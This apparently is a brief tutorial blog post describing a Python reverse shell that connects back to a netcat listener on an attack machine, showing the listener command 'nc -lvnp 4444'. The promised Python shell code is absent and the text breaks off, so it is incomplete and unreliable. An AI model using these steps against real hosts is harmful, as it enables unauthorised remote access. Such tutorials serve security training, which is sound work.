The following code is an example of a reverse backdoor (proxy/shell) that creates a connection back to a running nc (netcat) listener hosted on our attack machine.

This example uses the loopback address (localhost/ for demonstration.

First, start a netcat listener on your attack machine (e.g. Kali Linux).

$ nc -lvnp 4444
listening on [any] 4444

Secondly, run the python reverse shell on the target host to create a connection back to the attack system.

Target System:

$ python3.10

Copy to Clipboard
Jesse Shelley
Latest posts by Jesse Shelley (see all)